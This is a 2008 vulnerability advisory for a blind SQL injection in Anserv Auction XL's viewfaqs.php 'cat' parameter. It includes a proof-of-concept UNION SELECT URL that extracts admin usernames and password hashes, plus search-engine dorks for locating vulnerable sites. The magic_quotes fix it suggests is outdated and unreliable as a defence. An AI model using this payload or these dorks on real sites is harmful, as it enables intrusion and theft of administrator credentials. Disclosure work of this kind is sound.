ECHO_ADV_92$2008

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[ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability
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Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv92-K-159-2008.txt
Critical Lvl   : Medium
Impact         : System access
Where         : From Remote
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Affected software description:
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Application   : Anserv Auction XL
version       : 
Vendor        : http://auctionxl.com/ http://anserv.com/
Description   :

Auction XL offers many features in an auction software package. If you would like to bill your clients monthly for their accumulated fees,
XL is the right choice for your auction software. "Name Your Price" offers is just one of the newly added features.
Auction XL has many features included making it a robust auction software package that offers complete user interaction and admin control
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Vulnerability:
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Input passed to the "cat" parameter is not properly verified before being used to sql query. 
This can be exploited thru the browser and get the username and hash md5 password from admin.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
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http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers--

Dork:
~~~~~
Google    : "allinurl:viewfaqs.php?cat="
Altavista : "Home  |  Sell an item  |  Register  |  Login  |  Community  | Site Map |  Help"

Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~~

- 02 - 05 - 2008 bug found
- 03 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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